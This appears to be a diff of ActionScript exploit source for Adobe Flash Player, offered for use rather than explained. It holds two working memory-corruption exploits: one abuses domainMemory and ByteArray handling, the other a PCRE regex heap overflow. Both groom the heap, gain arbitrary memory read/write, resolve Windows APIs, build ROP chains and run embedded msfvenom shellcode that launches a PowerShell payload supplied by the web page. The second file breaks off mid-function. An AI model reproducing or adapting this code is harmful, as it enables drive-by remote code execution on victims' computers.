|
||||
|
||||
trace(str);
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}*/
|
||||
|
||||
public function Main()
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv[0] = new Vector.<uint>(0x3E0)
|
||||
casi32(0, 0x3e0, 0xffffffff)
|
||||
|
||||
for (i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Vector.<Object>(1014)
|
||||
spray[i][0] = ba
|
||||
spray[i][1] = this
|
||||
}
|
||||
|
||||
/*
|
||||
0:008> dd 5ca4000
|
||||
05ca4000 ffffffff 05042000 05ca4000 00000000
|
||||
05ca4010 00000000 00000000 00000000 00000000
|
||||
05ca4020 00000000 00000000 00000000 00000000
|
||||
05ca4030 00000000 00000000 00000000 00000000
|
||||
05ca4040 00000000 00000000 00000000 00000000
|
||||
05ca4050 00000000 00000000 00000000 00000000
|
||||
05ca4060 00000000 00000000 00000000 00000000
|
||||
05ca4070 00000000 00000000 00000000 00000000
|
||||
*/
|
||||
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
|
||||
//log("uv[0][0]: " + uv[0][0].toString(16));
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
|
||||
//log("buffer: " + buffer.toString(16));
|
||||
|
||||
var main:uint = uv[0][0x2000009] - 1
|
||||
//log("main: " + main.toString(16));
|
||||
|
||||
var vtable:uint = vector_read(main)
|
||||
//log("vtable: " + vtable.toString(16));
|
||||
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
|
||||
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
|
||||
byte_write(uv[0][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
//log("flash: " + flash.toString(16));
|
||||
|
||||
// Because of the sandbox, when you try to solve kernel32
|
||||
// from the flash imports on IE, it will solve ieshims.dll
|
||||
var ieshims:uint = module("kernel32.dll", flash)
|
||||
//log("ieshims: " + ieshims.toString(16));
|
||||
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
//log("kernel32: " + kernel32.toString(16));
|
||||
|
||||
var ntdll:uint = module("ntdll.dll", kernel32)
|
||||
//log("ntdll: " + ntdll.toString(16));
|
||||
|
||||
var urlmon:uint = module("urlmon.dll", flash)
|
||||
//log("urlmon: " + urlmon.toString(16));
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
//log("virtualprotect: " + virtualprotect.toString(16));
|
||||
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
//log("winexec: " + winexec.toString(16));
|
||||
|
||||
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
|
||||
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
|
||||
|
||||
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
|
||||
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
|
||||
|
||||
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
|
||||
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
|
||||
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
|
||||
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
|
||||
|
||||
// CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,704 @@
|
|||
package
|
||||
{
|
||||
/*
|
||||
To compile (AIRSDK + Flex):
|
||||
mxmlc Main.as -o Main.swf -strict=false
|
||||
*/
|
||||
|
||||
import mx.utils.Base64Decoder;
|
||||
import flash.display.*;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var i:int;
|
||||
private var j:int;
|
||||
|
||||
private const OP_END:int = 0;
|
||||
private const OP_ANY:int = 12;
|
||||
private const OP_KET:int = 84;
|
||||
private const OP_CBRA:int = 94;
|
||||
private const OP_FAIL:int = 108;
|
||||
private const OP_ACCEPT:int = 109;
|
||||
|
||||
private var testSubject:String = 'c01db33f';
|
||||
private var subject:String = '';
|
||||
|
||||
private var count_576:int = 128;
|
||||
private var pre_576:int = 4;
|
||||
private var groom_576:Array = new Array(count_576);
|
||||
|
||||
private var count_re:int = 8;
|
||||
private var source_re:Vector.<String> = new Vector.<String>(count_re);
|
||||
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
|
||||
private var subjects:Vector.<String> = new Vector.<String>(count_re);
|
||||
|
||||
private var count_504:int = 256 * 3;
|
||||
private var pre_504:int = 30;
|
||||
private var groom_504:Array = new Array(count_504);
|
||||
|
||||
private var junk:Array = new Array();
|
||||
private var junk_idx:int = 0;
|
||||
|
||||
public static function Debug(message:String):void {
|
||||
ExternalInterface.call('console.log', message);
|
||||
}
|
||||
|
||||
public function MakeRegex(c:String):String {
|
||||
var i:int;
|
||||
var r:String = '(c01db33f|^(' + c + '*)'
|
||||
for (i = 0; i < 39; ++i) {
|
||||
r += '(A)';
|
||||
}
|
||||
r += '\\'
|
||||
r += '41';
|
||||
for (i = 0; i < 20; ++i) {
|
||||
r += 'A';
|
||||
}
|
||||
r += '('
|
||||
r += '\\'
|
||||
r += 'c'
|
||||
r += '\uc080'
|
||||
r += '*)?(?70))';
|
||||
return r;
|
||||
}
|
||||
|
||||
public function MakeSubject(c:String):String {
|
||||
var i:int;
|
||||
var s:String = c;
|
||||
for (i = 0; i < 0x80 - 0x3d; ++i) {
|
||||
s += c;
|
||||
}
|
||||
for (i = 0; i < 60; ++i) {
|
||||
s += 'A';
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public function MakeByteArray(size:int):ByteArray {
|
||||
var i:int = 0;
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = size;
|
||||
for (i = 0; i < size; ++i) {
|
||||
b.writeByte(0x23);
|
||||
}
|
||||
return b;
|
||||
}
|
||||
|
||||
public function Initialise():void {
|
||||
for (i = 0; i < 8; ++i) {
|
||||
subjects[i] = MakeSubject(i.toString());
|
||||
source_re[i] = MakeRegex(i.toString());
|
||||
}
|
||||
}
|
||||
|
||||
public function CompileRegex():RegExp {
|
||||
|
||||
// heap groom the block of regex bytecode we want to follow our
|
||||
// legitimate bytecode.
|
||||
|
||||
for (i = 0; i < count_576; ++i) {
|
||||
var b:ByteArray = new ByteArray();
|
||||
b.length = 576;
|
||||
|
||||
// regex nop sled :-p
|
||||
for (j = 0; j < 500; ++j) {
|
||||
b.writeByte(OP_ANY);
|
||||
}
|
||||
|
||||
// this is the capturing bracket that find_bracket will be
|
||||
// looking for to match (?70)
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(1); // WORD length of group (only != 0)
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group (must == 70)
|
||||
b.writeByte(70);
|
||||
|
||||
// we use OP_CBRA to write the current match length at one
|
||||
// dword past the end of our offset_vector.
|
||||
//
|
||||
// this is due to another bug in pcre_exec where it is
|
||||
// assumed that the group number is
|
||||
// 0 < number < md->offset_max
|
||||
// and it is only checked that group < md->offset_max, and
|
||||
// then indexing is done backwards frm the end of the buffer,
|
||||
// so a group number of 0 lets us index one dword past the end
|
||||
// of the offset_vector.
|
||||
|
||||
b.writeByte(OP_CBRA);
|
||||
b.writeByte(0); // WORD length of group
|
||||
b.writeByte(0);
|
||||
b.writeByte(0); // WORD number of group
|
||||
b.writeByte(0);
|
||||
|
||||
// we're done with executing this regex for now.
|
||||
b.writeByte(OP_ACCEPT); // yay a match :-)
|
||||
|
||||
b.writeByte(OP_KET); // closing KET for group (?70)
|
||||
b.writeByte(OP_KET); // closing KET for exploit group
|
||||
|
||||
b.writeByte(OP_END);
|
||||
|
||||
b.writeByte(0);
|
||||
|
||||
groom_576[i] = b;
|
||||
}
|
||||
|
||||
// make some gaps
|
||||
for (i = 0; i < count_576; i += 2) {
|
||||
groom_576[i].length = 0;
|
||||
groom_576[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < (pre_576 * 2); i += 2) {
|
||||
groom_576[i] = MakeByteArray(576);
|
||||
}
|
||||
|
||||
for (i = 0; i < count_re; ++i) {
|
||||
try {
|
||||
Debug('[*] compiling regex');
|
||||
var re:RegExp = new RegExp(source_re[i]);
|
||||
compiled_re[i] = re;
|
||||
var match:Object = re.exec(testSubject);
|
||||
if (match != null && match[0] == 'c01db33f') {
|
||||
Debug('[*] compiled successfully');
|
||||
subject = subjects[i];
|
||||
return re;
|
||||
}
|
||||
else {
|
||||
// that allocation was no good, fill with a bytearray
|
||||
junk[junk_idx++] = MakeByteArray(576);
|
||||
}
|
||||
} catch (error:Error) {
|
||||
Debug('[*] error compiling regex: ' + error.message);
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
}
|
||||
|
||||
Debug('[*] failed first groom');
|
||||
return null;
|
||||
}
|
||||
|
||||
public function negative(i:uint):uint {
|
||||
return (~i) + 1;
|
||||
}
|
||||
|
||||
public function CorruptVector(r:RegExp):Vector.<uint> {
|
||||
|
||||
var v:Vector.<uint> = null;
|
||||
var uv:Vector.<uint> = null;
|
||||
var ov:Vector.<Object> = null;
|
||||
|
||||
for (i = 0; i < count_504; ++i) {
|
||||
v = new Vector.<uint>(124);
|
||||
v[0] = 0xc01db33f
|
||||
v[1] = i;
|
||||
for (j = 2; j < 124; ++j) {
|
||||
v[j] = 0x88888888;
|
||||
}
|
||||
groom_504[i] = v;
|
||||
}
|
||||
|
||||
for (i = 0; i < count_504; i += 3) {
|
||||
groom_504[i].length = 0;
|
||||
groom_504[i] = null;
|
||||
}
|
||||
|
||||
for (i = 0; i < pre_504; i += 1) {
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
v = null;
|
||||
for (i = 0; i < 128; i += 3) {
|
||||
try {
|
||||
Debug('[*] executing regex');
|
||||
r.exec(subject);
|
||||
} catch (error:Error) {
|
||||
Debug('[*] regex execution failed: ' + error.message);
|
||||
}
|
||||
|
||||
for (j = 1; j < count_504; j += 3) {
|
||||
if (groom_504[j].length != 124) {
|
||||
Debug('[*] corrupted vector');
|
||||
v = groom_504[j];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (v != null) {
|
||||
break;
|
||||
}
|
||||
|
||||
Debug('[*] failed...');
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
junk[junk_idx++] = MakeByteArray(504);
|
||||
}
|
||||
|
||||
// at this point we have a vector with a corrupt length, hopefully
|
||||
// followed by another vector of legitimate length.
|
||||
|
||||
if (v == null) {
|
||||
Debug('[*] failed to groom for vector corruption');
|
||||
return null;
|
||||
}
|
||||
|
||||
if (v[126] != 0xc01db33f) {
|
||||
Debug('[*] magic check failed!');
|
||||
}
|
||||
|
||||
// read out the index of the following vector; this is the vector
|
||||
// that we will use for the rest of the exploit
|
||||
|
||||
i = v[127];
|
||||
uv = groom_504[i];
|
||||
uv.fixed = true;
|
||||
|
||||
// corrupt the length of uv so that we can access all of memory :)
|
||||
|
||||
v[124] = 0xffffffff;
|
||||
|
||||
// first fix the length of the original corrupted array so we don't
|
||||
// need to worry about it any more...
|
||||
|
||||
uv[negative(0x80)] = 0x6e;
|
||||
|
||||
// now read back 0x1f8 bytes before the first vector; this must be
|
||||
// inside the original offset_vector that we overflowed, (so it is
|
||||
// guaranteed to be safe) and this buffer is directly free'd at the
|
||||
// end of pcre_exec. as it's quite a large allocation, we can be
|
||||
// quite sure that it is still on the freelist and we can steal the
|
||||
// freelist pointer from it, which will likely point to the block
|
||||
// after our second vector.
|
||||
|
||||
uv[0] = uv[negative(0xfe)];
|
||||
|
||||
// we really can't do much sanity checking here; all we know is
|
||||
// that this should be a pointer, and it will be 8 byte aligned.
|
||||
|
||||
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
|
||||
Debug('[*] freelist ptr sanity check failed!');
|
||||
uv[negative(2)] = 0x6e;
|
||||
return null;
|
||||
}
|
||||
|
||||
// uv[0] == address of our vector.<uint>'s buffer
|
||||
|
||||
uv[0] -= 0x1f0;
|
||||
|
||||
return uv;
|
||||
}
|
||||
|
||||
public function FindGCHeap(m:Memory):uint {
|
||||
|
||||
// nothing much to say about this; we know that there's a
|
||||
// FixedBlock at the start of the page that our vector is allocated
|
||||
// on, and that holds a pointer back to the global GCHeap, which is
|
||||
// a static singleton in the flash module. I've copied in the class
|
||||
// declarations for the structures being traversed, for reference.
|
||||
|
||||
var fixed_block:uint = m.vector_base & 0xfffff000;
|
||||
|
||||
/*
|
||||
struct FixedBlock
|
||||
{
|
||||
void* firstFree; // First object on the block's free list
|
||||
void* nextItem; // First object free at the end of the block
|
||||
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
|
||||
FixedBlock* prev; // Previous block on the list of blocks
|
||||
uint16_t numAlloc; // Number of items allocated from the block
|
||||
uint16_t size; // Size of objects in the block
|
||||
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
|
||||
FixedBlock *prevFree; // Previous block on the list of blocks with free items
|
||||
-------> FixedAlloc *alloc; // The allocator that owns this block
|
||||
char items[1];l // Memory for objects starts here
|
||||
};
|
||||
*/
|
||||
|
||||
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
|
||||
|
||||
/*
|
||||
class FixedAlloc
|
||||
{
|
||||
private:
|
||||
-------> GCHeap *m_heap; // The heap from which we obtain memory
|
||||
uint32_t m_itemsPerBlock; // Number of items that fit in a block
|
||||
uint32_t m_itemSize; // Size of each individual item
|
||||
|
||||
FixedBlock* m_firstBlock; // First block on list of free blocks
|
||||
FixedBlock* m_lastBlock; // Last block on list of free blocks
|
||||
FixedBlock* m_firstFree; // The lowest priority block that has free items
|
||||
|
||||
size_t m_numBlocks; // Number of blocks owned by this allocator
|
||||
#ifdef MMGC_MEMORY_PROFILER
|
||||
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
|
||||
#endif
|
||||
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
|
||||
}
|
||||
*/
|
||||
|
||||
var gcheap:uint = m.read_dword(fixed_alloc);
|
||||
|
||||
return gcheap;
|
||||
}
|
||||
|
||||
public function FindPwned(m:Memory, gcheap:uint):uint {
|
||||
|
||||
// we're going to walk the heap to find it because we don't like
|
||||
// being crashy. a lazier approach would be to spray a ton of
|
||||
// objects and scan forward from our array; this is more reliable.
|
||||
|
||||
/*
|
||||
class GCHeap
|
||||
{
|
||||
public:
|
||||
-------> Region *lastRegion;
|
||||
|
||||
private:
|
||||
...
|
||||
};
|
||||
*/
|
||||
|
||||
// I have no idea why this is at offset 4. GCheap is not virtual
|
||||
// so perhaps the Flash code has changed since the github avmplus
|
||||
// release.
|
||||
|
||||
var region:uint = m.read_dword(gcheap + 4);
|
||||
|
||||
/*
|
||||
class Region
|
||||
{
|
||||
public:
|
||||
Region *prev;
|
||||
char *baseAddr;
|
||||
char *reserveTop;
|
||||
char *commitTop;
|
||||
size_t blockId;
|
||||
};
|
||||
*/
|
||||
|
||||
while (region != 0) {
|
||||
var region_base:uint = m.read_dword(region + 4);
|
||||
var region_rtop:uint = m.read_dword(region + 8);
|
||||
var region_top:uint = m.read_dword(region + 12);
|
||||
|
||||
if (region_rtop & 1 != 0) {
|
||||
Debug('[*] this browser already got pwned, go away');
|
||||
return 0;
|
||||
}
|
||||
|
||||
m.write_dword(region + 8, region_rtop + 1);
|
||||
|
||||
// TODO: we can optimise here as we know the alignment of the
|
||||
// magic values.
|
||||
|
||||
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
|
||||
|
||||
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
|
||||
if (m.read_dword(ptr) == 0xdecafbad
|
||||
&& m.read_dword(ptr + 4) == 0xdecafbad) {
|
||||
|
||||
// we have found our two magic values
|
||||
return ptr - 0x10;
|
||||
}
|
||||
}
|
||||
|
||||
// region = region->prev;
|
||||
region = m.read_dword(region);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
|
||||
var myshellcode:Array = GetPayload();
|
||||
// at this point we are sandwiched on the stack between the current
|
||||
// frame and the previous frame; this is hazardous, we need to
|
||||
// shift our stack back above the current frame or things will go
|
||||
// wrong(tm).
|
||||
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
|
||||
v[i++] = 0x90900000;
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
// Our payload (see GetPayload)
|
||||
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
|
||||
v[i++] = myshellcode[payload_i];
|
||||
}
|
||||
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
v[i++] = 0x90909090;
|
||||
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
|
||||
|
||||
|
||||
// we just put things back how they were; at least, everything
|
||||
// important. we need esp and ebp to be correct, which is easy;
|
||||
// we need ecx to point to the object's vtable and then we can
|
||||
// just jump to the actual method implementation as though we
|
||||
// had hooked it.
|
||||
|
||||
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
|
||||
v[i++] = 0x90900000;
|
||||
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
|
||||
v[i++] = 0x90000012;
|
||||
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
|
||||
v[i++] = ptr;
|
||||
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
|
||||
v[i++] = fun;
|
||||
v[i++] = 0x9090e0ff; // FFE0 jmp eax
|
||||
}
|
||||
|
||||
public function GetPayload():Array {
|
||||
// Grab the powershell payload from the sh parameter in the HTML file
|
||||
var b64:Base64Decoder = new Base64Decoder();
|
||||
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
|
||||
b64.decode(raw_psh_payload);
|
||||
var psh_payload:String = b64.toByteArray().toString();
|
||||
|
||||
// This is generated from here:
|
||||
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
|
||||
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
|
||||
var payload:String = "" +
|
||||
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
|
||||
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
|
||||
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
|
||||
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
|
||||
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
|
||||
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
|
||||
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
|
||||
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
|
||||
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
|
||||
|
||||
// Here we convert the binary string to an array of DWORDS
|
||||
var arr:Array = new Array();
|
||||
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
|
||||
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
|
||||
var hex:String = "";
|
||||
for (var i2:int = 0; i2 < dword.length; i2++) {
|
||||
var byte:String = dword.charCodeAt(i2).toString(16);
|
||||
// The toString(16) conversion doesn't print zeros the way we want it.
|
||||
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
|
||||
// Another example: For 0x0c, it returns 'c', but it should be '0c'
|
||||
if (byte == '0') {
|
||||
byte = "00";
|
||||
} else if (byte.length == 1) {
|
||||
byte = '0' + byte;
|
||||
}
|
||||
hex += byte;
|
||||
}
|
||||
var real_dword:uint = parseInt(hex, 16);
|
||||
arr.push(real_dword);
|
||||
}
|
||||
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public function Main() {
|
||||
i = 0;
|
||||
|
||||
Initialise();
|
||||
|
||||
var r:RegExp = CompileRegex();
|
||||
if (r == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Debug("Corrupting Vector");
|
||||
|
||||
var v:Vector.<uint> = CorruptVector(r);
|
||||
if (v == null) {
|
||||
Debug("CorruptVector returns null");
|
||||
return;
|
||||
}
|
||||
|
||||
var m:Memory = new Memory(v, v[0], 0x6e);
|
||||
|
||||
// at this point we have an absolute read/write primitive letting
|
||||
// us read and write dwords anywhere in memory, so everything else
|
||||
// is a technicality.
|
||||
|
||||
// we need an exception handler from here, because we have a vector
|
||||
// that's addressing the whole address space, and if anything goes
|
||||
// wrong, we want to clean that up or things will get unpleasant.
|
||||
|
||||
try {
|
||||
|
||||
// first we follow some pointers on the heap back to retrieve
|
||||
// the address of the static GCHeap object in the flash module.
|
||||
|
||||
// this is useful for two reasons; firstly it gives us a
|
||||
// pointer into the flash module, but secondly (and more
|
||||
// importantly) we can use the region lists in the GCHeap
|
||||
// structure to safely scan the heap to find things.
|
||||
|
||||
var gcheap:uint = FindGCHeap(m);
|
||||
if (gcheap == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// now we can parse the flash module in memory, locate useful
|
||||
// imports and find the stack adjust gadget that we need.
|
||||
|
||||
Debug('[*] scanning flash module for gadgets');
|
||||
var p:PE32 = new PE32(m, gcheap);
|
||||
|
||||
Debug(' [-] ' + p.base.toString(16) + ' flash base');
|
||||
|
||||
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
|
||||
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
|
||||
|
||||
// Find this in Flash
|
||||
// 81 c4 40 00 00 00 add esp, 40h
|
||||
// c3 ret
|
||||
var gadget_bytes:ByteArray = new ByteArray();
|
||||
gadget_bytes.length = 7;
|
||||
gadget_bytes.writeByte(0x81);
|
||||
gadget_bytes.writeByte(0xc4);
|
||||
gadget_bytes.writeByte(0x40);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0x00);
|
||||
gadget_bytes.writeByte(0xc3);
|
||||
|
||||
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
|
||||
var ret:uint = add_esp_40h_ret + 6;
|
||||
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
|
||||
Debug(' [-] ' + ret.toString(16) + ' ret');
|
||||
|
||||
// now we create an actionscript class that we can readily
|
||||
// signature on the heap; we're going to find this object and
|
||||
// overwrite its vtable pointer to gain control of execution.
|
||||
|
||||
Debug('[*] scanning heap to find pwned object');
|
||||
var pwned:Pwned = new Pwned();
|
||||
var pwned_ptr:uint = FindPwned(m, gcheap);
|
||||
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
|
||||
if (pwned_ptr == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// we have a pointer to the object; save the vtable pointer for
|
||||
// replacement later and then create a new vtable containing
|
||||
// our gadget at the correct offset for the 'Rop' function.
|
||||
|
||||
// object ptr is actually a ScriptObject* for our ClassClosure?
|
||||
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
|
||||
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
|
||||
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
|
||||
|
||||
var shellcode:uint = m.vector_base + 4;
|
||||
|
||||
WriteShellcode(v, 1, vtable_ptr, method_ptr);
|
||||
|
||||
// invoking the method first makes our life simpler; otherwise
|
||||
// flash will go hunt for the right method, and recovery was
|
||||
// quite messy.
|
||||
|
||||
var a:uint = 0x61616161;
|
||||
pwned.Rop(
|
||||
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
|
||||
